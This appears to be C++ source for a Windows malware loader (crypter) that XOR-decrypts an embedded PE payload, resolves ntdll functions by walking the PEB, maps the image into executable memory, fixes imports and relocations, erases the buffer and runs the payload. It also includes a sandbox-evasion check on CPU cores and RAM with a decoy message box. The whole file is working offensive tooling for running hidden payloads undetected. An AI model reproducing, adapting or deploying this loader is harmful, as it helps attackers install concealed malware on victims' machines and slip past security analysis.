typedef struct IUnknown IUnknown; #include #include #include #include #include #include #include #include #include "sample.h" #include "pi.h" #include "config.h" HMODULE hModule2; LPVOID lpReserved2; #define NEW_ADDRESS 0x00 #define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) // Define a macro for the debug printf #ifdef _DEBUG #define DEBUG_PRINTF(format, ...) printf(format, __VA_ARGS__) #else #define DEBUG_PRINTF(format, ...) #endif /* Works with : - 32bit exe dll Relocs doesn't work for some exe for some reasons - XOR decrypts the PE - Doesn't copy headers */ size_t my_strlen(const char* str) { //START size_t s = 0; for (; str[s] != '\0'; ++s); return s; //END } void decrypt(const char* key, int offset = 0, int limit = -1) { //START size_t key_size = my_strlen(key); const int bufferSize = sizeof(sample) / sizeof(sample[0]); if (limit == -1) limit = bufferSize; if (key_size == 0) return; for (int i = offset; i < limit ; i++) { sample[i] ^= key[i%key_size]; } //END } void *my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName) { //START if (hModule == NULL) { return NULL; } IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule; if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return NULL; } IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew); if (ntHeader->Signature != IMAGE_NT_SIGNATURE) { return NULL; } IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)hModule + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); DWORD* nameRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames); DWORD* addrRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions); WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals); for (DWORD i = 0; i < exportDir->NumberOfNames; i++) { const char* functionName = (const char*)((BYTE*)hModule + nameRVAs[i]); if (strcmp(functionName, lpProcName) == 0) { DWORD funcRVA = addrRVAs[ordinals[i]]; void* funcPtr = (void*)((BYTE*)hModule + funcRVA); return funcPtr; } } return NULL; //END } typedef NTSTATUS (NTAPI *NtAllocateVirtualMemoryPtr)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); typedef NTSTATUS (NTAPI *LdrLoadDllPtr)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE); typedef NTSTATUS (NTAPI *RtlInitUnicodeStringPtr)(PUNICODE_STRING DestinationString, PCWSTR SourceString); typedef struct __TEB { PVOID Reserved1[12]; PPEB ProcessEnvironmentBlock; PVOID Reserved2[399]; BYTE Reserved3[1952]; PVOID TlsSlots[64]; BYTE Reserved4[8]; PVOID Reserved5[26]; PVOID ReservedForOle; PVOID Reserved6[4]; PVOID TlsExpansionSlots; } TEB_, * PTEB_; void* get_ntfunction(const char* func) { //START #ifdef _M_X64 PTEB_ tebPtr = reinterpret_cast(__readgsqword(reinterpret_cast(&static_cast(nullptr)->Self))); #else PTEB_ tebPtr = reinterpret_cast(__readfsdword(reinterpret_cast(&static_cast(nullptr)->Self))); #endif PPEB_LDR_DATA ldrData = tebPtr->ProcessEnvironmentBlock->Ldr; PLIST_ENTRY moduleList = &(ldrData->InMemoryOrderModuleList); HMODULE hntdll = 0; for (PLIST_ENTRY entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) { LDR_DATA_TABLE_ENTRY* module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); if (wcsstr(module->FullDllName.Buffer, L"ntdll.dll") != nullptr) { hntdll = reinterpret_cast(module->DllBase); break; } } return my_GetProcAddress(hntdll, func); //END } // This function will load a DLL from a buffer into the current process. // The DLL is expected to be in the PE format. // // Parameters: // - dll_buffer: a buffer containing the DLL file to be loaded. // - dll_size: the size of the DLL buffer, in bytes. // // Returns: // - a handle to the loaded DLL, if successful. // - NULL, if the DLL could not be loaded. HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase) { //START if (dll_size < sizeof(IMAGE_DOS_HEADER)) { return NULL; } decrypt(KEY, 0, 1024); // decrypt only the header const IMAGE_DOS_HEADER* dos_header = static_cast(dll_buffer); if (dll_size < dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS)) { return NULL; } const IMAGE_NT_HEADERS* nt_headers = reinterpret_cast(static_cast(dll_buffer) + dos_header->e_lfanew); if (nt_headers->Signature != IMAGE_NT_SIGNATURE) { return NULL; } const size_t image_size = nt_headers->OptionalHeader.SizeOfImage; void* image_base = (LPVOID)newBase; ULONG allocation_type = MEM_COMMIT | MEM_RESERVE; ULONG protect = PAGE_EXECUTE_READWRITE; NtAllocateVirtualMemoryPtr nta = (NtAllocateVirtualMemoryPtr)get_ntfunction("NtAllocateVirtualMemory"); NTSTATUS s = nta(NtCurrentProcess(), &image_base, 0, (PSIZE_T)&image_size, allocation_type, protect); if (image_base == NULL || s != 0) { return NULL; } DEBUG_PRINTF("[+] Allocated memory at 0x%p\n", image_base); const IMAGE_SECTION_HEADER* section_headers = reinterpret_cast(nt_headers + 1); // Copy the section data to the allocated memory. for (WORD i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) { const IMAGE_SECTION_HEADER* section_header = section_headers + i; decrypt(KEY, section_header->PointerToRawData, section_header->PointerToRawData + section_header->SizeOfRawData); //decrypt section memcpy(static_cast(image_base) + section_header->VirtualAddress, static_cast(dll_buffer) + section_header->PointerToRawData, section_header->SizeOfRawData); decrypt(KEY, section_header->PointerToRawData, section_header->PointerToRawData + section_header->SizeOfRawData); //encrypt back section } DEBUG_PRINTF("[+] Wrote section data\n"); DEBUG_PRINTF("[+] Rebasing Dll\n"); HMODULE dll_handle = static_cast(image_base); // Get the address of the DLL's entry point. const void* entry_point = static_cast(image_base) + nt_headers->OptionalHeader.AddressOfEntryPoint; // Get the address of the DLL's import directory. const IMAGE_IMPORT_DESCRIPTOR* import_directory = reinterpret_cast(static_cast(image_base) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); DEBUG_PRINTF("[+] Fixing imports\n"); RtlInitUnicodeStringPtr r = (RtlInitUnicodeStringPtr)get_ntfunction("RtlInitUnicodeString"); LdrLoadDllPtr ldr = (LdrLoadDllPtr)get_ntfunction("LdrLoadDll"); while (import_directory->Name != 0) { const char* import_dll_name = static_cast(image_base) + import_directory->Name; HMODULE import_dll = 0; // LoadLibraryA(import_dll_name); int len = MultiByteToWideChar(CP_UTF8, 0, import_dll_name, -1, nullptr, 0); wchar_t* wide = new wchar_t[len]; MultiByteToWideChar(CP_UTF8, 0, import_dll_name, -1, wide, len); UNICODE_STRING dll; r(&dll, wide); ldr(0, 0, &dll, (PVOID *)&import_dll); delete[] wide; if (import_dll == NULL) { return NULL; } IMAGE_THUNK_DATA* import_thunk_data = reinterpret_cast(static_cast(image_base) + import_directory->FirstThunk); while (import_thunk_data->u1.AddressOfData != 0) { if (IMAGE_SNAP_BY_ORDINAL(import_thunk_data->u1.Ordinal)) { DWORD ordinal = IMAGE_ORDINAL(import_thunk_data->u1.Ordinal); void* import_address = my_GetProcAddress(import_dll, reinterpret_cast(ordinal)); if (import_address != nullptr) { *reinterpret_cast(import_thunk_data) = import_address; } } else { const IMAGE_IMPORT_BY_NAME* import_by_name = reinterpret_cast(static_cast(image_base) + import_thunk_data->u1.AddressOfData); void* import_address = my_GetProcAddress(import_dll, reinterpret_cast(import_by_name->Name)); if (import_address != nullptr) { *reinterpret_cast(import_thunk_data) = import_address; } } ++import_thunk_data; } ++import_directory; } DEBUG_PRINTF("[+] Doing relocation\n"); const IMAGE_BASE_RELOCATION* base_relocation = reinterpret_cast(static_cast(image_base) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); DWORD delta = (DWORD)image_base - nt_headers->OptionalHeader.ImageBase; while (base_relocation->VirtualAddress != 0) { const WORD* relocation_block = reinterpret_cast(base_relocation + 1); DWORD num_relocations = (base_relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); for (DWORD i = 0; i < num_relocations; ++i) { WORD relocation_entry = relocation_block[i]; WORD type = relocation_entry >> 12; WORD offset = relocation_entry & 0xFFF; DWORD* reloc_address = reinterpret_cast(static_cast(image_base) + base_relocation->VirtualAddress + offset); switch (type) { case IMAGE_REL_BASED_ABSOLUTE: break; case IMAGE_REL_BASED_HIGHLOW: *reloc_address += delta; break; default: break; } } base_relocation = reinterpret_cast(reinterpret_cast(base_relocation) + base_relocation->SizeOfBlock); } DEBUG_PRINTF("\n[+] Calling DllMain\n"); if (entry_point != NULL) { void* entry_point_iat = static_cast(image_base) + nt_headers->OptionalHeader.AddressOfEntryPoint; // Cleaning dll_buffer = ""; size_t sample_size = sizeof(sample) / sizeof(sample[0]); for (size_t i = 0; i < sample_size; i++) { sample[i] = 0; } // Call the DLL's entry point. reinterpret_cast(entry_point_iat)(hModule2, DLL_PROCESS_ATTACH, lpReserved2); } // Return a handle to the loaded DLL. return dll_handle; //END } void allo() { //START AllocConsole(); FILE* fp; freopen_s(&fp, "CONOUT$", "w", stdout); // output only //END } #ifdef _DEBUG int main(void) #else int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) #endif { //START #ifdef _DEBUG allo(); #endif DEBUG_PRINTF("[+] Started\n"); MEMORYSTATUSEX memoryStatus = { 0 }; memoryStatus.dwLength = sizeof(memoryStatus); GlobalMemoryStatusEx(&memoryStatus); ULONGLONG totalPhysicalMemory = memoryStatus.ullTotalPhys; double totalPhysicalMemoryGB = static_cast(totalPhysicalMemory) / (1024 * 1024 * 1024); SYSTEM_INFO systemInfo; GetSystemInfo(&systemInfo); DWORD numProcessorCores = systemInfo.dwNumberOfProcessors; if (numProcessorCores < 2 || (int)totalPhysicalMemoryGB < 4) { MessageBoxA(NULL, "uwu", "failed", 0); spigot(); return 0; } const int bufferSize = sizeof(sample) / sizeof(sample[0]); HMODULE dll = RunPE(sample, bufferSize, NEW_ADDRESS); if (dll == NULL) { DEBUG_PRINTF("[-] Failed to load DLL\n"); return 1; } return 0; //END }